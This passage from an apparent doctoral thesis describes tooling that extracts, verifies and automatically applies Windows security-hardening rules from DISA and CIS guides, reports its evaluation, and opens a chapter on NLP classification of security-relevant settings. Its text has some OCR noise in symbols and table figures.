the name of the option for which the second value has to be set between VBN, IN, and ".".

As already mentioned, we need only eleven extraction rules to extract information for
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id: Sv-88407
rule: <see below>
implementations:
— description: <see below>
automations:
— system: org.scapolite.implementation.win_gpo
ui_path: 'Computer Configuration\Policies\Windows Settings\Security Settings\Local
— Policies\User Rights Assignment\Back up files and directories'
value:
— Administrators

## /rule

The Backup files and directories user right must only be assigned to the Administrators
— group.

## /implementations/0/description

Configure the policy value for Computer Configuration >> Windows Settings >> Security
— Settings >> Local Policies >> User Rights Assignment >> "Back up files and

— directories" to include only the following accounts or groups:

— Administrators

Listing 3.3.: Example rule of the DISA Windows Server 2016 in YAML /Markdown form,
incl. a Windows policy automation starting in line 6 (blue).

most of the DISA Windows Server 2016 guide; for a comparable CIS guide, we defined ten
rules. One can see all ten rules to extract the information from Windows-based CIS guides
in Listing A.6. Please note that the extraction using NLP is as simple as this only because
DISA and CIS write their guides in a highly schematic way.

If the automatic extraction process could not obtain any or only ambiguous information
for a setting to set, the respective rules are marked in this step of the process. For these
rules, automation objects have to be created manually using the hints from the automatic
extraction. For the analysis of the degree of automation, we refer to Section 3.3.1. Listing 3.3
is the result of a successful extraction carried out by our tool.?

3.2.2. Verification of Windows policy automations

As already mentioned in Section 3.2.1, the set of available policy settings determine the syn-
tax (and semantics) of the Windows policy automations. The set of available policy settings
varies between different versions of operating systems and policy-managed applications.
Thus, we can determine the validity of a policy automation for a specific version of OS or
an application.

As mentioned before, the ADMX/ADML files define the majority of Windows policy
settings. The Windows OSs use these files to display the GUI for configuring policy settings
via point-and-click and keep the policy content and the actual implementation of the settings
in the registry in sync. Microsoft regularly issues updates of the ADMX/ADML files.

2Tag: step-3-extract-configurations-values-with-nlp
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SENTENCE_WITH_ENABLED_WITH_X_SELECTED_FOR_Y:
{<IN> <.%>+ <TO> <VBN|VBD|VB> <IN> <.x>+ <VBN|VBD> <IN> <NN|NNP>+ <.>}

Listing 3.4.: Example of an extraction rule with POS tags.

To make this more visual, we provide another example: From the ControlPanelDis-
play.admx and the ControlPanelDisplay.adml files (one can find them under policies on
Windows Server 2016 instances), our exporter can get the information that the setting
with the policy path Computer Configuration \ ... Control Panel \ Personalization \ Prevent
enabling lock screen camera has the id CPL_ Personalization_ NoLockScreenCamera. We store
this relationship and the information to which registry this id belongs in our export; this is
presented in Listing 3.5. Here, we can get the information on which hive, path, and registry
name are affected. Furthermore, we know that only Enabled and Disabled are valid options
for this setting and that we can translate them to 1 and 0, respectively.

There are, however, also Windows policy settings that are not defined via ADMX/ADML
files. These other settings are represented through entries in either a special configuration
file (Gpt Tmpl . INF) or a CSV file (audit . csv) when creating a file-based representation
of policy settings on a Windows OS through the LGPO.exe [66] tool provided by Microsoft.
Unfortunately, there exists—to our best knowledge-no machine-readable representation that
specifies these policy settings. Luckily, we could extract many of these specifications for
configuration definitions from the SaltStack [99] implementation of the win_1gpo module
for managing Windows configuration settings. (From the 196 settings configurable via the
INF file, we could obtain 139 from SaltStack’s implementation; the remaining specifications,
which we encountered in the course of our work on several Windows OS versions, were
added manually.) Furthermore, we could extract the specifications for all settings handled
via audit.csv via parsing a given audit . csv file. Thus, the manual effort required for
dealing with these non-ADMX/ADML settings was negligible when compared to the over
4000 configuration specifications we could extract automatically.

With the information of the knowledge extraction, the verification process can now
determine for each configuration setting if the policy path is valid and, if so, whether the
provided value is admissible for that particular policy path.

We have implemented our tooling such that the Windows policy automations in a given
guide are parsed and verified. If the policy path exists and the given value is acceptable,
the automation is marked as checked. If not, the automation is enriched with as much
information as possible:

¢ If the policy path does not exist, information about similar policy paths is supplied,
using the Levenshtein distance [56] on character and word basis over the set of valid
policy paths. This set is a byproduct of our import step. To have the set of valid policy
paths accessible is one reason to create those files a priori. Listing 3.6 a) provides an
example of the result of the verification step.
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id: controlpaneldisplay_ cpl_personalization_nolockscreencamera
registry:

name: NoLockScreenCamera

path: Software\Policies\Microsoft\Windows\Personalization

hive: HKEY_LOCAL_MACHINE

type: REG_DWORD

enabled value: 1

disabled value: 0

Listing 3.5.: Example of a relationship between the id and the definition of the registry to
set.

¢ If the value is not admissible for the given policy path, information about admissible
values is added to the automation—see Listing 3.6b) and c).

We proceed as follows to verify and correct the policy automations:

1. The verification mechanism is run a first time.

2. The user reviews the reported errors and corrects them.

3. Verification is re-run either on a rule-by-rule basis or for the complete guide.*

4. Once all errors have been corrected, an export pairing the human-readable description
and the policy automation for each rule is created, allowing the user to verify very
quickly that the automation indeed faithfully reflects the human-readable specifica-
tion.

This verification seems simple, but studies have shown that 42% of the configuration
errors that caused high-impact incidents are obvious errors (e.g., typos) [121] and that
a significant number of configuration errors are due to compatibility issues[142]. Our
verification is able to catch such problems at the earliest possible stage.

3.2.3. Generation of low-level implementation mechanisms

Windows policy settings are implemented through registry settings, INF policy file entries,
and audit file entries. To represent these mechanisms within a guide, we introduce automa-
tion extensions for these three mechanisms. Using the information gathered as described
in Section 3.2.2, we implemented a transformation from the policy automation into the
corresponding low-level automation extension.®

3Tag: step-4-verification-1

4Tag: step-dc-fix

5Tag: step-5-create-xlsx-report-for-the-current-guide

®Tag: step-6-enrich-scapolite-with-low-level-automations, a table with all the low-level automations can be
found under xlIsx/report_with_low_level_automations.xIsx.
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ui_path: ... \ Control Panel \ Personalization \ Prevent
enabling lock screen
value: Enabled
error_class: NOT_FOUND policy name "preventenablinglockscreen"
error_hint: " The given path was not found, but there were 3 similar policies. If the UI
— path you were looking for is in the array, please replace the original UI path with
— the new UI path."
candidates:
- Control Panel\Personalization\Prevent enabling lock screen camera
- ... \ Prevent enabling lock screen slide show
- ... \ Prevent changing the color scheme
ui_path: '... \ Network security: LAN Manager authentication level'
value: Send NTLMv2 response
error_class: CONFIGURE
error_hint: "To apply this rule, please choose a setting value for each sub-setting in
— candidates. Next, replace the content of the 'value' attribute with the content of
— candidates."
candidates:
- Send LM & TLM responses - use NTLMv2 session security if negotiated
- Send NTLMv2 response only. Refuse LM & \acrshort{ntlm}
- Send \acrshort{ntlm} response only

ui_path: ... \ Configure \Gls{smartScreen}
value: Enabled
candidates:
main_setting:
— Disabled
- Enabled
Pick one of the following settings:
- Warn
— Disabled
- Warn and prevent bypass

Listing 3.6.: Failed verifications: a) Policy path does not exist; information about 3 possible
options. b) Specified value does not exist; admissible values provided. c) Policy
setting underspecified; request for additional value.

Listing 3.7 provides an example: according to the Windows policy automation (line 1 to
4), the value Enabled has to be set for the policy setting with path ... \ Apply UAC restrictions
to local accounts on network logons. Using information extracted from the ADMX/ADML
files, we can generate the Windows registry automation: the registry key under the path
SOFTWARE \ Microsoft \ Windows\CurrentVersion\Policies\System with the value name LocalAc-
countTokenFilterPolicy has to be set to a DWORD with the value 0.

3.2.4. Transformation into code

The main idea between the separation of this step and the actual implementation was that
we could execute all the previous steps on one machine, export the information, and do
only the actual implementation on the system under test. Thus, a central instance can be
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- ui_path: ...\Apply UAC restrictions to local accounts on network logons
value: Enabled
verification_status: Checked.

- system: org.scapolite.implementation.windows_registry
config: Computer
registry key: SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
value_name: LocalAccountTokenFilterPolicy
action: DWORD:O0

Listing 3.7.: Example of a Windows policy automation and the resulting Windows registry
automation.

used for storing and processing relevant guides; systems under test can fetch the required
data for implementing (and testing) security configurations from that central server. To
further facilitate this approach, we implemented an export from a guide containing low-
level automation for Windows into a JSON document that contains all data relevant for
implementing each rule with the associated automation(s).

In order to support implementations via policies (either via local group policies or via
the Active Directory capabilities), we can also automatically generate policy backups based
on the extracted information. We have implemented this step as part of a Continuous
Integration where changes to automation in a guide lead to an automated re-generation of
both scripts and policy backups.”

3.2.5. Implementation of the rules on the system using PowerShell

When choosing a target language framework to use to implement the rules using the
information of the low-level automation described in Section 3.2.2 and Section 3.2.3, we
decided to use PowerShell for the following reasons:

¢ Common configuration management frameworks like Ansible, Puppet, Chef, and
SaltStack cannot handle the Windows policy settings or use PowerShell to implement
them. Thus, we decided to use PowerShell without a configuration framework as a
wrapper to implement the rules.

* Microsoft’s efforts to allow code/script-based configuration management of Windows
rather than the GUI-based mechanism centering on the policy editor are based on
PowerShell.

* PowerShell is installed by default on all Windows OSs that are still in mainstream
support by Microsoft.

¢ To fully leverage the ability to generate mechanisms for rule-by-rule implementation
rather than the bulk implementation offered, e.g., in the form of policy backups, we

"Tag: step-8-export, policy backup folder for each profile under Igpo_backups.
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Categories # % % of OVAL
Rules 274 100

Configurations Extracted with NLP 198 72.3 95.6
Rules without extracted values 76 277 36.7
First-Time Verified 173 63.1 83.6
Not verified the first time 25 91 12.1
Non-automatable but extracted 2 07 1.0
Automatable but not extracted 4 15 1.9
Verified after manual correction 27 99 13.0
Automated Rules 200 73.0 96.6

Table 3.1.: Extracted, verified, and automated rules.

looked for robust roll-back functionality that allowed us to reset a configuration
reliably to its previous value.

Thus, we have created a PowerShell library that, based on the JSON file, applies, checks,
and reverts single as well as several or all rules. As mentioned before, our tooling uses
the extracted information to check whether the system is compliant to a rule automatically.
This functionality is already covered within SCAP, and there are many SCAP-compliant
scanners. Therefore, the checking functionality is not in the focus of this chapter.

Our PowerShell library uses Windows tools that assure that the configuration changes
are reflected in the local policy: secedit, auditpol, and LGPO.exe [66]. In the end, we can
implement a security-configuration guide by running one PowerShell command.

3.3. Evaluation

To demonstrate the presented approach’s potential, we use the real-life example of realizing
automatic rule-by-rule implementations for the DISA Microsoft Windows Server 2016 guide
Benchmark [25] for an evaluation.® The benchmark consists of 207 rules with automatic
checks and 67 rules without automatic checks.

The results of all steps shown below are available for review [109]. Every step is de-
noted as a commit and marked with a tag. Thus, a diff view between a commit and its
predecessor reveals the constructs added, removed, or changed in this step. In this chapter,
we will concentrate on this repository. Additionally, we created a new repository with
the DISA Windows Server 2019 guide[97] and executed the same steps to demonstrate

8We choose DISA’s guide because their SCAP content is public. Only CIS members can access CIS's SCAP
content, whereas their PDFs are publicly available.
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that our approach works on recent SCAP documents as well. Thus, the fact that we used
Windows Server 2016 should not be a threat to our evaluation’s validity.
We seek to answer the following Research Questions:

RQ1 For how many rules can we automatically derive an implementation from the text in
natural language? How high is their percentage?

RQ2 How many of the extracted rules are automatable, and how many automatable rules
were not extracted?

RQ3 After correcting wrongly extracted automations: How many rules can we implement
automatically for the complete guide?

RQ4 How much time does our approach require to extract the information, verify it, and
implement the rule?

RQ5 How many rules are implemented correctly in accordance with the automated checks?

We will use the DISA Windows Server 2016 guide to answer RQ1-4 and several CIS
guides to answer RQ5. For RQ5, we use CIS guides because, for them, we have the
automatic checks and can assess a given system using their CIS-CAT tool.

3.3.1. Degree of automation

To answer RQ1, RQ2, and RQ3, we examine the steps regarding the extraction of Windows
policy automation using NLP and the verification of the found policy paths and values.
The results are depicted in Table 3.1. From the 274 rules in the Windows Server 2016 guide,
we can extract for 198 rules a possible policy setting with possible values. Afterward,
from the 198 possible configuration path/value pairs, 173 can be directly verified as valid
configuration settings by the first verification step. These 198 rules mean that for 63% of the
rules, we can extract both the policy path and the required value and verify that this value
is valid for the particular policy path without any manual effort. Thus, we could answer
RQ1. From the remaining 25 rules, for two rules, potential configuration settings and values
have been extracted erroneously: with our automation mechanisms, we could not automate
these two rules. We removed the erroneously created automations for theses two rules
manually.’ Conversely, for four rules that we could automate, neither the policy path nor
the required value was extracted. In this case, we added the automation manually.10 Thus,
the ratio of rules not added to the set of rules to automate, although they are automatable,
lies at 1.5%, whereas the ratio of rules which are not automatable and still extracted is 0.7%
regarding all rules. For the remaining 23 rules that were extracted but could not be verified

9Tag: step-4a-fix-rules-which-have-been-imported-but-are-not-automatable
10Tag: step-4b-fix-rules-which-have-not-been-imported-but-are-automatable
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Step Time (s)
Knowledge Extraction from ADMX/ADML 81.59
Import into Scapolite 8.02
NLP extraction of policy automations 16.93
Verification of policy automations 23.48
Export automations in JSON 13.90
Export automations in XLSX 14.03
Export policy backups from JSON 1.65
Check all rules for compliance 13.96
Implement automatable rules one-by-one 73.35
2 24591

Table 3.2.: Time needed to execute the single steps with all 200 automatable rules of the
DISA Windows Server 2016 guide.

in the first round, we created the correct automation based on the extracted information
enriched with the verification process’s hints.!!

If one sees the NLP based extraction process as a classifier with the classes automatable
and non-automatable, the false-positive rate of this classifier is at 2.7% and the false-negative
rate at 2.0%. We had to adjust 27 rules manually. Thus, for 90.1% of all rules, respectively,
87% of the automatable rules, no manual action was needed throughout the process. In
summary, these numbers answer RQ2 and give strong evidence for the importance of our
verification step because otherwise, these rules might be applied wrongly or not at all.

After the execution of the extraction and the verification step and the manual adjustments,
we now have 200 rules which can be automated and have values that are verified to be valid
for the given configuration decisions. Therefore, the grade of automation we can achieve on
the set of the 274 rules is at 73.0%, respectively, at 96.6% if we are only considering the 207
automatable rules (classified as automatable by DISA). This number answers RQ3. Thus,
our approach reduces the number of rules which have to be checked or set manually on the
system under test significantly.
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3.3.2. Time

Table 3.2 shows time values for each of the automated steps.!? The short execution time per
rule enables an application in CI approaches, which answers RQ4 partially.

If we want to calculate the overall time, we also have to include the time it takes to
correct the wrongly extracted automations. According to Table 3.1, 25 rules were not
verified the first time. Because of the feedback included in the rule, we assume that it
takes 10s to correct such a rule. For the remaining four plus two rules, we assume that
it takes at most 2min per rule to correct it. These assumptions are also backed by the
feedback of the users of our tools at Siemens. Therefore, we end up with a total time of
24591s 4 25 x 10s + 6 * 120s = 1215.91s ~ 20min for all rules or 6s per rule. Thus, RQ4
could be answered, too.

3.3.3. Correct Application

In the last step of our evaluation, we want to answer whether our approach is applying the
security-configuration guides correctly. Incorrectly implemented rules can result from faults
in the ADMX/ADML importer, the verification process, or the PowerShell library. Here,
our idea was that after applying a security-configuration guide to a system, the system
should be configured as specified in the guide. For this experiment, we use the standardized
OVAL checks as ground truth. Thus, we used guides which are Windows-related and for
which we have automated checks. Therefore, we used in this step 12 different security-
configuration guides from the CIS, which are listed in Table 3.3, totaling over 2000 rules:
Four Windows-based OS’s, six components of the package, and two browsers.

We conducted the evaluation as follows: First, every security- configuration guide was
automated through the same process, as explained in Section 3.2. Next, we set up a clean
environment for every system.!> Additionally, we installed a SCAP-compliant scanner on
the machines, i.e., the CIS-CAT tool [16]. Next, we executed the checks in the clean environ-
ment to compare the clean state with the hardened state to show that the implementation of
guides makes the system more secure. Afterwards, the guides are implemented using the
automation generated as described in Section 3.2. Now the checks are rerun to test whether
the implementation was correct. The results are depicted in Table 3.3. We also published the
check reports before and after the implementation on GitHub [110]. Within this repository,

HTag: step-de-fix

12 All the steps are conducted by running different commands from the command-line. We ran every command
50 times and averaged the elapsed time to evaluate the speed of the single steps. Configuration: 3.1 GHz
Intel Core i7 with 16 GB RAM, Python 3.7.4. The only steps implemented in PowerShell are the application
viz. the check for compliance step as these were designed to be executed on the system under test, in our
case, a Windows-based system, without installing any additional software. PowerShell Version 5.1.14393
was used.

1BFor the OS’s, we have set up every system in a new VM by installing the OS directly from the latest .iso
down-loadable from Microsoft. As a VM provider, we used VirtualBox. For the other components, e.g.,
Chrome or PowerPoint, they were directly installed on a clean Windows 10 instance.
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one can find for every checked guide a before.html and after.html containing the result of the
automatic check created using the CIS-CAT tool.

Note that we only consider the rules which have OVAL checks for the calculation of
the percentages. We see that for the OSs between 16.9 and 26.3% of the rules are already
set up in a compliant way, whereas nearly no rule is pre-configured securely for the other
components. Nevertheless, even 26.3% of already fulfilled rules of the OSs imply that the
majority of the settings are configured in an insecure way on a clean system. After applying
the rules, the percentage of compliant rules is between 95 and 100% for all guides.

That we do not reach 100% compliance relative to the results of the CIS-CAT checker
tool is due to errors in the guides, some of them in the automated check, others in the
descriptive text. For example, some checks are overspecified, i.e., they expect more changes
than actually occur when implementing the corresponding configuration setting: the
rule 18.5.9.1 of the Windows 10 benchmark changes only a single registry entry, but the
corresponding check refers to three different entries. Also, some rules have automatic
checks which test for wrong values. For example, the check for the rule 1.8.7.4 of the
Word guide expects a different value (namely 0) than the value, which is set if the rule is
implemented manually following the security-configuration guide. Thus, we have in this
rule precisely the difference of implementation and check we want to overcome with our
approach. Finally, there were some errors regarding the description of the implementation
provided in the guides. For example, rule 1.8.7.2.7 of the Word guide specifies that the
setting should be enabled, although title and description suggest disabling the setting.
Another error in a guide actually is due to a misspelling of the ADMX/ADML template file
provided by Microsoft. For example, rule 1.13.2.1.5 of the Outlook guide specifies the value
to be implement as When online always retrieve the CRL, but our tool could not validate this
value for this setting because of a misspelling in a template file. There, the value is written
as When online always retreive the CRL.

All in all, we achieved compliance for 1965 rules (i.e., 97.6%) after implementing the
guides. For the OSs, we have the highest absolute gain of compliant rules (between 237 and
404 rules), but in relative numbers, we are only gaining between 71% and 80%, whereas
for the rest, we have a gain of over 90%. Please note that our approach can also implement
the settings which were already compliant on a clean instance, but we have chosen this
scenario because it seemed more relevant and natural. The alternative would have been to
create an instance in which every setting is configured to a non-compliant value.

Discussion In RQ1, we asked for the percentage of rules for which we can automatically
extract the implementation. If our approach extracted the implementation only for a small
fraction of rules, it would be useless in real-world applications. Since we extracted for 63%
of all rules and 96% of automatable rules an implementation, we can rule out this concern.

In RQ2, we looked for the percentage of false negative and false positives of our extraction
process. If these numbers were too high, the administrators would spend much time
identifying them so that our approach would become pointless. With 1% and 2% of the
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Guide #of Rules OVAL Before Hardening %  After Hardening % A A%
Google Chrome for Windows 20 20 0 0 19 95.0 19  95.0
Internet Explorer 11 156 136 1 0.7 132 971 131 96.3
Microsoft Office 53 53 2 3.8 52 98.1 50 94.3
Microsoft Office Access 9 9 0 0 9 9

Microsoft Office Excel 34 34 0 0 34 - 34

Microsoft Office Outlook 75 73 3 4.1 72 98.6 69 945
Microsoft Office PowerPoint 18 18 1 5.6 18 - 17 944
Microsoft Office Word 24 24 0 0 23 95.8 23  95.8
Windows 7 390 386 87 225 377 977 290 75.1
Windows 8.1 429 425 21.2 415 976 325 76.5
Windows 10 85 16.9 97.4 80.5
Windows Server 2016 371 334 88 325 973 237 710
% 2084 2014 357 177 1965 976 1608 79,8

Table 3.3.: # rules per guide compliant to the given guide before and after implementing guide automatically. Highest

value of a column: dark gray, lowest: light gray.
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automatable rules wrongly classified, this is not the case.

In RQ3, we searched for the percentage of rules that we can automate after correcting the
extraction process’s errors. If this number were too low, administrators would spend the
same amount of time for implementing the remaining rules, and the gains of our approach
would be small. Our results show that we can automate 97% of the automatable rules with
our approach and dramatically reduce manual implementation.

In RQ4, we asked for the time taken to execute our approach. If the steps were too
time-consuming, it would be more efficient to do it manually, and our tooling would be
unnecessary. With 245.91s for the tools themselves and 1215.91s for the complete process,
our approach is more efficient than the manual approach.

In RQ5, we searched for the percentage of rules which are correctly implemented accord-
ing to the automatic checks. If our approach implemented the rules wrongly, it would be
useless. With over 97% of correctly implemented rules, our approach implements almost
all rules correctly.

In summary, our evaluation showed for the given Windows-based guide that our ap-
proach is feasible and effective.

3.4. Generalization and further work

The main limitation of our extraction step is the fact that this extraction is only possible
because of the highly schematic structure of the descriptions written by CIS and DISA. If
they modify their template for these descriptions, we will have to adjust this step entirely.
During this thesis, the authors of security-configuration guides as Siemens and we used the
same grammar for many different Windows-based DISA guides in many different versions.
The percentage of extracted rules was always comparable to the results presented in this
chapter. The same holds for our CIS grammar and the Windows-based CIS guides. An
anecdotal example for this is Microsoft Edge. When Siemens decided that Edge should be
supported on managed Siemens devices, they needed a security-configuration guide first.
Thus, they took the CIS Microsoft Edge guide, converted it into the Scapolite Format, and
extracted the essential values with this approach. Therefore, we state that our approach
generalizes at least within CIS and DISA guides that cover Windows-based systems or
other software managed via the Administrative Templates. Although our results are good,
the best option would be to have this information directly in a machine-readable way. Thus,
we hope that future guides will have the needed information in a machine-readable form.
A limitation of our implementation of Windows-related guides is the dependency on the
LGPO.exe. If Microsoft decided to remove this tool for changing Windows system settings,
we would have to replace core parts of the presented approach.

We admit that our approach is only an intermediate solution. Instead of converting
guides to executables by users or third parties, it would be more practical for publishers
to attach machine-executable codes or links to them to the rules as they are doing it for
automatic checking. Nevertheless, as long as the publishers do not distribute the guides
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## /implementations/0/description

Follow the below steps to disable "Location Services™:
1. Tap “Settings”™ Gear Icon.

Tap ~Security & Location™.

Scroll to the "Privacy”™ section.

Tap “Location™.

Toggle to the "OFF" position.

(S, S PV M)

Listing 3.8.: Example of an implementation as part of a rule in an Android security-
configuration guide.

so that we can quickly and automatically implement them, we need tools like those we
presented in this chapter.

Our approach is tailored to Windows and its policies. Thus, the approach cannot be
ported to other platforms without significant adjustments. Nevertheless, we are developing
similar approaches for Linux OSs and Android in particular and try to achieve similar
results there as well.

In Listing 3.8, one can see the implementation of an Android-related rule. It describes
highly schematically the actions to implement. Thus, the difficulty of the extraction process
as described in Figure 3.1 is comparable to that for the Windows-related guides.

The verification step is more difficult, because we do not have a similar definition of
potential settings and the set of values they can have. In Windows, we can extract this
information from the ADMX/ADML files, but in Android, there are-to our best knowledge-
no comparable files available. To port our approach to Android, we created such definition
files for several settings. For the setting Location, one would find an entry in this definition
file as presented in Listing 3.9. With this information, we can verify that OFF is a valid
value for this setting. Furthermore, we can use the information that we can translate OFF to
-network,-gps for the transformation to a low-level automation. Finally, we can implement the
rule on a given Android device via the Android Debug Bridge and the translated value.

Our work on Android just started, and there are many open questions: How could be the
syntax of an Android definition file? How can we automatically create such a definition
file? Which settings can we automatically set, e.g., via the Debug Bridge, and which settings
cannot be set or only if we have rooted the device? How can we handle different Android
versions and the fact that we can automatically configure a setting in one version, e.g., via

ui_name: Location
namespace: secure
name: location_providers_allowed
value:
ON: +network, +gps
OFF: —-network, —gps

Listing 3.9.: Example of a definition for an Android-related setting.
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## /implementations/0/description
Set the following parameters in ~/etc/sysctl.conf”™ or a
“/etc/sysctl.d/x" file:

net.ipvé.conf.all.accept_ra = 0
net.ipv6.conf.default.accept_ra = 0

Run the following commands to set the active kernel parameters:

# sysctl -w net.ipv6.conf.all.accept_ra=0
# sysctl -w net.ipvé6.conf.default.accept_ra=0
# sysctl -w net.ipv6.route.flush=1

Listing 3.10.: Example of an implementation in an Ubuntu Linux security-configuration
guide.

the Debug Bridge, and in another version, it is no longer possible?

For the automated implementation of general Linux guides, please have a look at List-
ing 3.10; here, we have the implementation of a rule of a Ubuntu guide. We can see that
there is still a schema of how the implementation is described. Nevertheless, it is more
complicated. In this example, there are two different steps, one concerning the modification
of a file, the other the execution of shell commands. Hence, in addition to extracting the
code-snippets, we have to derive the semantics of set file content to and run as well. If we
wanted to verify that the code snippets are valid, we would have to know the syntax of the
specific configuration file and the semantics, e.g., if net.ipvé.conf.all.accept_ra = 0 is a correct
line in this file. Furthermore, we would have to know the legal parameters of the program
called in the second snippet.

We would need to extract this information, e.g., from the source code, the documentation,
or the sample configuration file, to create definition files for the most common commands
and configuration files. Since these knowledge sources are not standardized, this task
would be tough. However, with recent improvements in large language models like GPT-3
and ChatGPT, one could use them to get this information. We tried this with ChatGPT,
told the bot to act as an expert on Ubuntu security, and asked the bot how to configure the
accept_ra parameter. It suggested the value 0 and told us to restart sysct1 afterward to
reload the configuration.

In summary, our approach to extract important values can be ported from Windows
to Linux-based systems, but we do not have the information there to verify the extracted
values. This problem of missing knowledge could be solved in the future by large language
models like ChatGPT, but these are beyond the scope of this thesis.

In the future, work is necessary to provide the foundations that make security automation
easier. The main factor that made our approach possible was that Microsoft provides
machine-readable information about configuration options for their systems in the form
of ADMX/ADML files. It follows that vendors should support security automation by
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providing machine-readable information about security-configuration options and their
implementation.

3.5. Conclusion

The complexity of contemporary systems renders their configuration increasingly difficult.
This leads to vulnerabilities attackers can exploit to attack the systems. For a single organiza-
tion, it is impossible to know all the configurations to make a specific system secure. Many
organizations use public security-configuration guides to overcome the lack of knowledge;
while many of these guides support automated compliance checking, they do not provide
support for automated implementation.

In this chapter, we demonstrated an approach that can automatically implement Win-
dows security-configuration guides with minimal manual effort. Our contribution further
encompasses a PoC implementation, a step-by-step documentation of the process, and the
evaluation of our approach using existing guides.

Our evaluation has shown that we can automate 83% of the rules without any manual
effort using our NLP extraction. Furthermore, our extensive benchmark with 12 different
guides and over 2014 rules with automatic checks showed that the implementation of our
approach can implement at least 97% of the rules correctly.

With our approach and the results of its evaluation, we believe we can furthermore
contribute as follows: Firstly, we have demonstrated how organizations that rely on publicly
available security-configuration guides can be aided in reducing effort as well as reducing
errors in the implementation of these guides. Secondly, we have shown how machine-
readable information supporting automated implementation for Windows systems can be
represented and included in SCAP guides. We hope that our results encourage publishers of
security guides to support better the automated implementation of their guides by enriching
them with such information, for Windows as well for other target systems. The design of
SCAP v2 has already started [127]: Our work offers timely and relevant input for the further
development of SCAP towards a standard that meets the requirements of both publishers
and consumers of machine-readable security-configuration guides.

Thirdly, our research underlines the need for machine-readable specifications of (security)
configuration settings: standardization and support of a format for this purpose by vendors
would significantly aide in all tasks concerned with configuring systems securely.
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4. Automated Identification of
Security-Relevant Configuration Settings
Using NLP

This chapter presents how one can use natural language processing to identify
security-relevant configuration settings. Parts of this chapter have previously
appeared in [113], where the author of this thesis is the first author and the only
Ph.D. student within the publication’s authors.

4.1. Introduction

A critical part of the IT security in an organization such as Siemens is the secure config-
uration of all used software [24]. Here, we need to know which configuration settings
(from here on settings) of a software are security-relevant (SR) or not security-relevant (NSR)
(see Figure 4.1); this classification is especially relevant when the software vendor releases a
new version of the software with new settings. We denote the classification predicate with
p. Going through all possible settings I'y of a software 6 and classifying whether a setting
v € I'gis SR (p(7)) to collect all SR settings

T3k = {y]v € To : p(1)} @.1)

is a tedious and time-consuming task. Thus, we outsource this process to organizations
such as the Center for Internet Security (CIS). They provide a set of security-configuration
guides Scrs and we use a CIS guide Scysp € Scrs to harden our software 6.

However, there are situations in which we cannot use a guide: First, if there is no CIS
guide for a software. Second, if there is a new update of the software and the CIS has
not published its recommendations for the update yet. Third, we have higher security
requirements in our environment and need additional rules. At Siemens, the third use
case is the most important. In all cases, the security experts need to find all SR settings. To
support finding the SR settings and assure that we find all SR settings, we use automated
classification. False negatives, i.e., ¢ is SR, but —p(y), are more severe than false positives,
because an attacker might use a non-hardened SR setting to attack the system. Classifiers
should therefore avoid false negatives without labeling every setting as SR.
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@

Software Settings Classifier

Figure 4.1.: Identification of security-relevant settings.

Our running example will be the hardening of the Windows 10 OS (in the following
W10 ) with over 4500 settings (|T'w1o| > 4500). Furthermore, there is a CIS W10 guide with
over 500 rules, i.e., |Sciswio| = 500. Every rule r targets a setting -y, which we denote with
@(r) = <y and this setting is unique, i.e., @cyswio is injective and [T ;.| ~ 500. In May
2021, Microsoft released the 21H1 update for W10 including over 300 new settings. The
security experts at Siemens now needed the new SR settings, i.e., F%O, \ 3R

In this chapter, we present our solution to this problem. We use various state-of-the-art
natural language processing (NLP) to model p and classify automatically whether a setting
is SR. We use the settings” descriptions in natural language as input and existing guides to
identify SR terms.

Our contribution is threefold. First, we present, to our knowledge, the first approach
to use NLP techniques to tackle the identification of SR settings. Second, we publish our
labeled data sets! so that other researchers can train their models on them to solve the
described problem. Third, we share the code of our models on Kaggle so that security
experts can use them when they create guides.

4.2. Data Set Creation

As we have only several thousand settings, we need data-efficient techniques and a labeled
data set. For a given software 6, we first needed all settings I'y. Second, we needed the
descriptions D describing their function and purpose in natural language. Third, we needed
to label each setting 7y as SR or NSR. One can see the three steps depicted as arrows in
Figure 4.2.

As modern software can easily have thousands of settings [81], it is beneficial if we
automate the three steps. Therefore, we choose W10 for our PoC. In W10, the Administrative
Templates (ATs) define most settings. Microsoft stores these configuration definitions in so-

Lgithub /tum-i4/ Automated-Identification-of-Security-Relevant-Configuration-Settings-Using-NLP
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Figure 4.2.: Data set creation.

called ADMX files, and we can automatically generate the set of settings I'y1p out of them.
Furthermore, the ATs include all the description texts in different languages in so-called
ADML files. For our PoC implementation, we limited ourselves to English. However, one
could also investigate whether another language, e.g., Hindj, is better suited to identify SR
settings (we will discuss this also later in our overall limitations in Section 8.3.6). We parse
the set of descriptions D from the ADML files and join the definitions with the descriptions
using a shared identifier to a set of settings together with their description, i.e.,

L = {(7,d)|Vy € Twio : 3d € D : id(d) = id(y)} (4.2)

where id(x) is the function that returns the id of the setting for a given setting 7y, respectively
the id of the corresponding setting for a description d.

To automate the third step, we need ground truth whether a setting is SR or NSR. Here,
we used CIS guides and especially the W10 guide Scis wio. Our assumption is that a setting
7 is SR if and only if there is a rule 7 in the guide Scs w10 that is targeting this setting -, i.e.,

pcrswio(Y) <= 3r € Sciswio 1 @(r) =« (4.3)

We also use Siemens guides to evaluate our classifiers on guides from different organizations.
In both cases we can automatically retrieve the set of all rules Scrs w10 and extract for each
rule the targeted setting <, i.e., we have a list

K ={(r,y=a@)|r € Scrs,wio} (4.4)

In the end, we can construct our labeled data set by joining £ and K. From £ we take the
setting v and the corresponding description d, and mark it as security-relevant, i.e., true,
if there is a rule r in K that targets the same setting, i.e., v = /. Otherwise, we mark the
setting as non-security-relevant.

{(v.d,3(ry)ek:vy=7"))|(r.d) € L} (4.5)
The result are the labeled settings with their descriptions (see Listing 4.1).
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- setting: Control Panel \ Personalization \ Force a specific background and accent color
description: "Forces Windows to use the specified colors for the background and accent.
— The color values ..."
is_security relevant: false

- setting: Control Panel \ Personalization \ Prevent enabling lock screen camera
description: "Disables the lock screen camera toggle switch in PC Settings and prevents
— a camera from being invoked on the lock screen..."
is_security_ relevant: true

Listing 4.1.: Labeled settings for Windows 10, version 1909.

The input of our implementation is the ADMX/ADML files of the ATs and a guide in the
XML-based XCCDF format. Microsoft regularly updates the ATs. Thus, there are different
versions of the ADMX/ADML files, e.g., 1909 or 21H2. We uploaded different variants into
our repository.

4.3. Sentiment Analysis

We make a binary decision if a setting is SR based on its text. Therefore, our first idea was
to use Sentiment Analysis (SA) and lexicon-based approaches in particular to solve our
problem.? Due to the descriptions’ formal language, spell correction was not necessary.
First, we considered basing our classification on part-of-speech (POS) tags. However, we
